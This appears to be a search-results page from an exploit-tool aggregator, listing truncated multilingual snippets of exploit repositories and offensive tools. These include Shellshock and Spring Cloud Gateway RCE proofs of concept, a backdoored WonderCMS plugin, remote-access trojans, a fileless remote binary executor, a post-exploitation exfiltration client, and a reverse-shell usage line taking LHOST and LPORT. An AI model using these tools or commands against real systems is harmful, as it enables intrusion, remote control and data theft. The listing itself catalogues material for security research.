996602 matches found
CVE-2014-6271
Shellshock 漏洞利用 CVE-2014-6271 Shellshock 实际上是一个存在于 BASH 中的远程命令执行漏洞。该脚本利用启用了 modcgi 的 Apache 或类似 Web 环境中的漏洞。漏洞的核心在于对环境变量的操控，环境变量是影响计算机上进程运行的动态命名值。攻击者可通过将恶意代码附加到环境变量中来利用此漏洞，这些代码会在收到变量时被执行。这使攻击者有可能破坏系统。 漏洞测试实验环境 PentesterLab VulnHub TryHackMe 查找 CGI-BIN 页面： root@kitploit: $ nmap 192.168.x.x...
CVE-2014-0472
CVE-2014-0472 Usa root@kitploit: docker-compose up -d Accede a localhost:8083 Referencia: https://www.djangoproject.com/weblog/2014/apr/21/security/ 1. Una o más vistas están presentes que construyen una URL basada en la entrada del usuario comúnmente, un parámetro "next" en una cadena de consult...
CVE-2018-6574-go-get-RCE
CVE-2018-6574-go-get-RCE この問題は、パッケージのインストール時にGolangがネイティブ拡張をビルドするという事実に起因します。これにより、コンパイラに追加フラグを渡してコード実行を行うことが可能になります。例えば、CFLAGSを使用できます。 以下のコマンドを使用してビルドできます： $ gcc -shared -o attack.so -fPIC attack.c 完全なペイロードをGithubにホストしたら、パッケージリンクを被害者に渡すことができます。...
CVE-2022-22947-POC
Spring-Cloud-Gateway-CVE-2022-22947 Spring Cloud Gateway远程代码执行漏洞的安全公告。该漏洞为当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求，从而远程执行任意代码。 【受影响版本】 Spring Cloud Gateway = 3.1.1 Spring Cloud Gateway = 3.0.7 Spring Cloud Gateway 是基于 Spring Framework 和...
Apple-Remote-Crash-Tool-CVE-2018-4407
Apple-Remote-Crash-Tool-CVE-2018-4407 Bloquea cualquier dispositivo macOS High Sierra o iOS 11 que esté en la misma red WiFi Solo una pequeña herramienta que utiliza una vulnerabilidad pública de 'desbordamiento de búfer en el montón' CVE-2018-4407 y facilita la explotación de redes completas...
WonderCMS-CVE-2020-35314
CVE-2020-35314 - WonderCMS 3.1.3 中的认证远程代码执行 此仓库创建的目的是测试 WonderCMS v3.1.3 上的远程代码执行漏洞。 此虚假插件包含一个后门 PHP shell，位于 evil.php 文件中。 建议不要在生产 Web 服务器上使用此虚假插件。...
WHS3_vulhub
CVE-2017-8386: git-shell Sandbox Bypass to RCE PoC 郑秀珍@suz1n 概述 Git-shell 提供通过 SSH 仅允许受限 git 命令的环境。但在特定版本的 git-shell（如 2.12.2）中，存在可利用 less 命令绕过沙箱并执行系统命令的漏洞（CVE-2017-8386）。 本报告针对该漏洞进行 PoC 并整理过程。 环境搭建 使用的工具及版本 Docker: 24.0.7 Docker-Compose: v2.34.0 Host OS: macOS Target OS: Ubuntu 16.04 容器内部 Git...
CVE-2018-19276
CVE-2018-19276 OpenMRS 不安全对象反序列化 RCE 来自 https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607 不安全的对象反序列化允许在无需登录的情况下执行任意代码。Webservices 模块的 IP 限制无法阻止此攻击。 OpenMRS Platform 2.1.x 2.1.4 的所有版本 OpenMRS Platform 2.0.x 2.0.8 的所有版本 OpenMRS Platform 1.12.x 1.12.1 的所有版本 OpenMR...
Eden-RAT
Eden-RAT 背景 EgoDrop と DuplexSpy の開発中に、C ベースの GUI アプリケーションでインタラクティブシェルを実装することに成功しました。その後、以前開発経験が不足していたために中断していたプロジェクトのことを思い出しました。そこで、そのプロジェクトを再検討し、完成させることにしました。 このプロジェクトのアイデアは、Web ペネトレーションテストを学んでいたときに生まれました。 RCE（リモートコード/コマンド実行）の脆弱性を発見した場合、通常は簡単な Linux コマンド（id、whoami、ls、cat /etc/passwd...
slipstream
NAT Slipstreaming NAT Slipstreaming allows an attacker to remotely access any TCP/UDP service bound to any system behind a victim's NAT, bypassing the victim's NAT/firewall remote arbitrary firewall pinhole control, just by the victim visiting a website. v1 developed by : @SamyKamkar //...
eternal_check
Eternal Check 2.0 Eternal Check は、IP が SMB の脆弱性に対して脆弱かどうかを検証します。 Eternal Blue Eternal Romance Eternal champion Eternal synergy Erraticgopher SMB v1 Exploit Windows XP & Server 2003 Eagerlever SMB v1 Exploit Windows XP & 2000 スクリーンショット 2.0での追加機能 Architouch...
rdroid
该项目目前处于未维护状态，但等我有时间（大概未来几个月内），会进行修复使其可用。 rdroid 远程管理你的安卓手机，也就是 RAT！ 历史！ 这个项目是我在高中时做的，时间是 2011-2012 年。 当时我对版本控制不熟悉，所以代码没有历史记录。 代码写得非常糟糕，缺乏模块化、注释、测试用例、文档、数据库备份等，但话说回来，在那个时期，对我来说这已经是好代码了 ; 特性 我尽量保持列表简短，它包含了几乎所有常用的操作。 联系人同步 - 创建、读取、删除、全部删除联系人 ; 设备信息，应有尽有 音量 - 媒体、通话、通知 - 获取/设置 设备是否连接到互联网 应用 -...
CVE-2021-42013_Reverse-Shell
CVE-2021-42013Reverse-Shell CVE-2021-42013 的 PoC：Apache 2.4.50（带 CGI）反向 Shell 用法： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT 更多信息： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 ...
CVE-2024-21762
🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 Exigimos el regreso seguro de todos los ciudadanos que han sido tomados como rehenes por el grupo terrorista Hamás. No descansaremos hasta que todos los rehenes sean liberados y regresen a casa sanos y salvos. Puedes ayudar a traerlos de vuelta a...
fileless-xec
➲ fileless-xec 🦜 👋 Certainly useful , mainly for fun, rougly inspired by 0x00 article Pentest use: fileless-xec is used on target machine to stealthy execute a binary file located on attacker machine ➲ Short story fileless-xec enable us to execute a remote binary on a local machine directly from...
fileless-xec
➲ fileless-xec 🦜 👋 確かに便利で、主に楽しみのため、0x00の記事に大まかに触発されました ペネトレーションテストでの使用: fileless-xec は、ターゲットマシン上で攻撃者マシンにあるバイナリファイルをステルスに実行するために使用されます ➲ ショートストーリー fileless-xec を使用すると、リモートのバイナリをディスクに保存せずにメモリから直接ローカルマシンで実行できます ➪ インストール 簡単な使い方 fileless-xec binaryurl curl | sh のバイナリ版 指定したプログラム名でバイナリを実行: fileless-xec ...
poet
poet 一个简单的后渗透利用工具。 概述 客户端程序运行在目标机器上，配置了服务器的IP地址和连接频率。如果客户端尝试连接时服务器未运行，客户端会静默休眠，并在下一个间隔重试。如果服务器正在运行，攻击者将获得一个控制壳，以控制客户端并在目标上执行各种操作，包括： 侦察 远程Shell 文件外传 下载并执行 自毁 演示 这只是Poet能力的一个小样本。 场景是：攻击者已经获得受害者机器的访问权限，下载并执行了客户端。此时她尚未运行服务器，但没关系，客户端会耐心等待。最终攻击者准备就绪，启动服务器，首先启动一个Shell并执行uname...
CVE-2024-7928
FastAdmin 路径遍历漏洞利用工具 FastAdmin 至 1.3.3.20220121 版本中发现了一个被归类为有问题的漏洞。受此影响的是文件 /index/ajax/lang 的某个未知功能。对参数 lang 的操作导致路径遍历。攻击可能远程发起。该漏洞利用已公开披露，可能被使用。升级到版本 1.3.4.20220530 可以解决此问题。建议升级受影响的组件。...
CVE-2024-27348
CVE-2024-27348 这是 Apache HugeGraph 远程代码执行漏洞（CVE-2024-27348）的存储库。 Docker root@kitploit: docker pull hugegraph/hugegraph:1.0.0 docker run -it --name hgserver -p 8081:8080 hugegraph/hugegraph:1.0.0 docker-compose.yml root@kitploit: services: web: image: vulhub/hugegraph:1.2.0 ports: - "8080:8080" -...